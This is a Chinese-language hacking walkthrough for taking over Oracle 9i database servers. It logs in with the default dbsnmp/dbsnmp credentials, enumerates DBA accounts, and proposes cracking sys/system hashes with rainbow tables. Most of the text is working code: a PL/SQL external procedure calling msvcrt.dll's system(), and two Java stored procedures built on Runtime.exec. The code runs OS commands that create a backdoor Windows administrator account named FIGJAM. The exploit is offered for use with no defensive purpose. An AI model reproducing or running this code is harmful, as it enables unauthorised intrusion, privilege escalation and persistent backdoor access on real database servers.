CREATE OR REPLACE LIBRARY
exec_shell AS 'c:/windows/system32/msvcrt.dll';
/
CREATE OR REPLACE PACKAGE oracmd IS PROCEDURE exec(cmdstring IN CHAR);
end oracmd;
/
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
exec oracmd.exec('net user FIGJAM 123 /add');
exec oracmd.exec('net localgroup administrators FIGJAM /add');
set current_listener
IP连了一下,用version命令看了一下<是oracle 9i>, 看了一下服务,没有验证,直接拿到服务名,打开SQLPlus,敲入
connect dbsnmp/dbsnmp@服务名连接,用select distinct a.name from sys.user$
a,sys.sysauth$ b where a.user#=b.grantee# and
b.privilege#=4;看了一下DBA<帐户密码一样>,这样就可以通过ORACLE来执行OS命令<对于dbsnmp账户,oracle
9i安装时是不提示修改默认密码的,虽然不是DBA,但却可以通过它看道很多要命的信息,sys,system的hash可以轻松得到,这样随便找个彩虹表,很快就可以搞定hash,进而拿下最高权限!>
利用oracle提权,总的来说,常用的有这几种方法:
1.通过PL/SQL运行OS命令
2.通过Java运行OS命令
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS
import java.lang.*;
import java.io.*;
public class JAVACMD
{
public static void execCommand (String command) throws IOException
{
Runtime.getRuntime().exec(command);
}
};
/
CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'JAVACMD.execCommand (java.lang.String)';
/
exec javacmdproc('cmd.exe /c net user FIGJAM 123 /add');
exec javacmdproc('cmd.exe /c net localgroup administrators FIGJAM /add');
3.Java提权
create or replace and compile
java source named "Util"
as
import java.io.*;
import java.lang.*;
public class Util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int rc = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =
new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
rc = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
rc = -1;
}
finally
{
return rc;
}
}
}
/
create or replace
function RUN_CMD(p_cmd in varchar2) return number
as
language java
name 'Util.RunThis(java.lang.String) return integer';
/
create or replace procedure RC(p_cmd in varchar2)
as
x number;
begin
x := run_cmd(p_cmd);
end;
/
variable x number;
set serveroutput on
exec dbms_java.set_output(100000);
grant javasyspriv to 用户名
/
exec :x := RUN_CMD('net user FIGJAM /add');
exec :x := RUN_CMD('net localgroup administrators FIGJAM /add');